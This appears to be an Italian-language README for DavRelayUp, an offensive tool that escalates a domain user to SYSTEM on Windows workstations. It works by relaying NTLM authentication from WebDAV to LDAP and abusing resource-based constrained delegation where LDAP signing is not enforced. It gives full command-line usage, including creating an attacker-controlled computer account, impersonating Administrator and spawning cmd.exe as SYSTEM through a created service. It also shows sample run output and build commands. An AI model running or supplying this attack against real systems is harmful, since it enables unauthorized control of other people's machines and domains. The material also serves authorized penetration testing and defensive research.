
Automatizza l'escalation dei privilegi locali a SYSTEM su workstation Windows unite al dominio, relayando l'autenticazione NTLM da WebDAV a LDAP, sfruttando la delega vincolata basata sulle risorse (RBCD) senza richiedere l'applicazione della firma LDAP.
Un port rapido e sporco di KrbRelayUp con modifiche per consentire il relay NTLM da webdav a LDAP al fine di semplificare l'abuso del seguente primitivo di attacco:
Si tratta essenzialmente di un'escalation di privilegi locale universale senza fix nelle workstation Windows unite al dominio dove la firma LDAP non è applicata (le impostazioni predefinite).
DavRelayUp - Portarti a SYSTEM, di nuovo...
Usage: DavRelayUp.exe [-c] [-cn COMPUTERNAME] [-cp PASSWORD | -ch NTHASH]
RBCD Options:
-c (--CreateNewComputerAccount) Crea un nuovo account computer per RBCD. Utilizzerà l'utente autenticato corrente.
-cn (--ComputerName) Nome dell'account computer di proprietà dell'attaccante per RBCD. (default=DAVRELAYUP$)
-cp (--ComputerPassword) Password dell'account computer per RBCD. (default=RANDOM [se -c è abilitato])
-ch (--ComputerPasswordHash) Hash NT della password dell'account computer per RBCD. (deve essere specificato -cp o -ch)
-i (--Impersonate) Utente da impersonare. Dovrebbe essere un amministratore locale nel computer target. (default=Administrator)
KrbSCM Options:
-s (--ServiceName) Nome del servizio da creare. (default=KrbSCM)
-sc (--ServiceCommand) Comando del servizio [binPath]. (default = spawn cmd.exe come SYSTEM)
General Options:
-p (--Port) Porta per il server WebDAV (default=55555)
-d (--Domain) FQDN del dominio. (Opzionale)
-dc (--DomainController) FQDN del controller di dominio. (Opzionale)
-ssl Usa LDAP su SSL. (Opzionale)
-n Usa CreateNetOnly (deve essere su disco) invece di PTT quando si importa ST (Opzionale)
-v (--Verbose) Mostra output verboso. (Opzionale)
-h (--Help) Mostra aiuto
Se DavRelayUp si blocca in una di queste fasi - prova a usare una porta diversa specificando il flag [-p]
DavRelayUp - Portarti a SYSTEM, di nuovo...
[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
DavRelayUp - Portarti a SYSTEM, di nuovo...
[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
[+] WebDAV Request: No Authorization header
[+] WebDAV Response: Sending 401 Unauthorized with "WWW-Authenticate: NTLM" header
https://github.com/Dec0ne/DavRelayUp/assets/54464773/4e791e8b-783c-48d3-b46b-8b22e2661ea1

PS C:\Tools\DavRelayUp> cd GoRelayServer
PS C:\Tools\DavRelayUp\GoRelayServer> go build --buildmode=c-shared -ldflags="-s -w" -o "../DavRelayUp/Costura64/GoRelayServer.dll" main.go